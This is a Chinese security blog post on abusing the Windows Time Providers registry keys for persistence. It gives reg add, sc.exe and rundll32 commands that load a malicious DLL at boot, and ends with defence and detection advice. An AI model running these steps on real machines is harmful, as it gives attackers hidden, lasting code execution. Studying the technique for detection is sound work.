持久化研究-Time Providers
2019-11-14 10:06:42 Author: xz.aliyun.com(查看原文) 阅读量:244 收藏

0x01 什么是Time Providers

Windows时间服务(W32Time服务)维护在网络上的所有客户端和服务器的时间和日期同步。 W32Time time providers负责从硬件/网络资源中检索时间戳,并将这些值输出到其他网络客户端。

Time providers以DLL的形式实现,该文件位于System32文件夹中。Windows启动期间将启动服务W32Time并加载w32time.dll。

W32Time服务会在Windows启动期间自动启动,因此可以用在后渗透的持久化阶段。但是,此方法需要管理员级别的特权,因为指向Time Providers DLL文件的注册表项存储在HKEY_LOCAL_MACHINE中。

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders

NtpServer:时间服务提供程序服务端

NtpClient:时间服务提供程序客户端

VMICTimeProvider:时间同步提供程序库

0x02 持久化构建

生成一个恶意的DLL文件:w32time.dll

NtpClient注册表项DllName数据的默认值为%systemroot%\system32\w32time.dll

NtpServer注册表项DllName数据的默认值为%systemroot%\system32\w32time.dll

VMICTimeProvider注册表项DllName数据的默认值为%SystemRoot%\System32\vmictimeprovider.dll

该服务将在Windows启动期间启动,我们也可以通过执行以下命令手动启动。

sc.exe stop w32time
sc.exe start w32time

利用reg命令修改DllName数据的值,来达到开机运行我们恶意DLL的目的。

reg:reg命令是Windows提供的,它可以添加、更改和显示注册表项中的注册表子项信息和值,reg add将新的子项或项添加到注册表中。

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpClient" /v DllName /t REG_SZ /d "C:\net\w32time.dll"

重新启动服务,恶意DLL成功运行。

修改NtpClient注册表项:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /v DllName /t REG_SZ /d "C:\net\w32time.dll"

恶意DLL成功运行。

修改VMICTimeProvider注册表项:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\VMICTimeProvider" /v DllName /t REG_SZ /d "C:\net\w32time.dll"

恶意DLL成功运行。

修改NtpClient、NtpServer、VMICTimeProvider中任意一个注册表项,均可触发恶意DLL运行达到持久化目的。

0x03 安全与隐蔽

直接修改现有的Windows时间提供程序很容易被安全运营人员发现。

重启可能会卡在System Event Nottification Service

来自Boston MA的Scott Lundgren在C中的开发了gametime。可以使用此DLL来向操作系统注册新的时间提供服务,并在重新生成注册表项中执行修改。这样可以避免破坏现有的Windows时间服务。

https://github.com/scottlundgren/w32time

修改源码可以自定义注册表项

#define GAMETIME_SVC_KEY_NAME   L"System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\GameTime"

根据微软文档,Time providers必须实现以下回调函数:

  • TimeProvClose:返回Time provider句柄
  • TimeProvCommand:将命令发送到Time provider
  • TimeProvOpen:关闭Time providers

利用vs编译gametime,生成gametime.dll。

利用rundll32.exe运行 gametime.dll的Register函数,rundll32.exe用于在内存中运行DLL文件,它的作用是执行DLL文件中的内部函数,这样在进程当中,只会有 Rundll32.exe,而不会有DLL后门的进程,这样,就实现了进程上的隐藏。

rundll32.exe gametime.dll,Register

生成注册表项GameTime

修改注册表项GameTime:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\GameTime" /v DllName /t REG_SZ /d "C:\net\w32time.dll"

成功执行恶意DLL。

运行下列命令清理相关程序。

rundll32.exe gametime.dll,Deregister

0x04 防御

  1. 限制文件和目录权限

    考虑使用组策略来配置和阻止对W32Time DLL的添加/修改。

  2. 限制注册表权限

    考虑使用组策略在注册表中配置和阻止对W32Time参数的修改。

0x05 自动检测

监视修改注册表中的W32Time数值相关的进程,包括应用程序编程接口(API)调用(例如RegCreateKeyEx和RegSetValueEx)以及W32tm.exe程序的执行。

利用Sysinternals Autoruns工具分析。


文章来源: http://xz.aliyun.com/t/6738
如有侵权请联系:admin#unsafe.sh